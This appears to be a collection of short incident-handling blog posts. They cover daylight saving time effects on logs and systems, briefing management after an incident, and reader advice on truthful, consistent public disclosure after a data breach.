Check your watch, clocks, and time sources. Depending on your location you maye have lost gained (fell back?)an hour today as daylight saving time ended for North America and some other regions. Most modern devices and Operating Systems should have either had a patch or time zone update and adjusted themselves. Those that didn't, either egnore the change, or changed back early under the old schedule. For organizations that set all critical system to Zulu (UTC), carry on then. Devices that can't easily be changed, such as embedded systems, or systems that are never patched, can we say SCADA, mitigate or adjust accordingly. Pay particular attention to logs emmediately before and after the change.

Cheers,
Adrien de Beaupré
intru-shun.ca

We all understand that management level people are not normally involved with Incident Handling and may want to place the blame somewhere.  As professionals we need to keep management focused on the issue of exactly how the incident happened and use the opportunity to impress upon them the need for enhanced security.  This is your time to push for funding to fix your processes, technology and obtain improve incident handling capabilities.

One good method is to utilize visual aids to break down exactly what happened.  Using visual aids to demonstrate the incident will increase your chances that non-technical management will understand exactly what happened and to see where the weaknesses are in the system.  Once they understand the weaknesses in the system they are more likely to approve the funding to fix it.

If you have special ways you work with management, please contact us and let us know.

Mari Nichols    iMarSolutions

We have now completed the recovery phase. What's next? Before we call it a day, we should look back to what has really happened. Is there anything that can or should be improved? This is not meant to be finger pointing phase but rather what can be done better to prevent incidents from happening again.

For the next three days, we will cover the lesson learned. For a start, we talk about what should make public. Incidents could be caused by human mistakes. It is also never a good pleasant experience to disclose what has happened too. Sometimes you also have no choice as the incident could already make public. It is therefore important to be prepared what information should make public.  

What would you want to make public? Have you ever over disclose or under disclose information? How much is consider good enough? Do you have any experiences to share? Please send your suggestions to us.

Update:

From one reader:
The public message that you give out in the event of a data breach or other IT disaster is extremely important and is often overlooked. If you have a marketing/communications department, then they need to take the lead in conjunction with IT and legal. I think these basic rules are important:

1) Do not lie. Note that this is not the same as disclosing 100% of what happened, but what you do choose to disclose must be the truth.
2) Be consistent. Do not say one thing then another. If in doubt, say nothing and get back to them.
3) Inform everyone. If the nature of the problem has become public, you should tell all staff how they should respond to inquiries, and who they should pass queries to.
4) Come up with an action plan. If there are potential ID theft victims, then determine how you will deal with that and make it public. If other sensitive data has been lost, explain how you are going to prevent it from happening again. You need to convince people that it is not going to happen again.

Did I mention "do not lie"? That's the #1 rule for a reason.

---------------------------------

From another reader:
From the standpoint of someone not in the Incident Response field (right now), I would hope that the team makes the basic facts of the case public.  They don't need to go overboard, but they should at least hit the highlights.

Things like a general description of what happened, amount of records (or files) that were compromised, how long were the records exposed, and that everything is back up and running.

During the incident, they should just make a blanket statement about upgrading systems, and then release the facts after it's fixed.

One thing that should be emphasized is this:  Make sure that EVERYONE who is going to have public access to media, blogs, or web sites has their ducks in a row.  The Best Western Incident this year is an example of not following this advice.  One person said it's millions of records, while someone else says it's 120 records at the most.  Everyone needs the same story, so things don't get confused.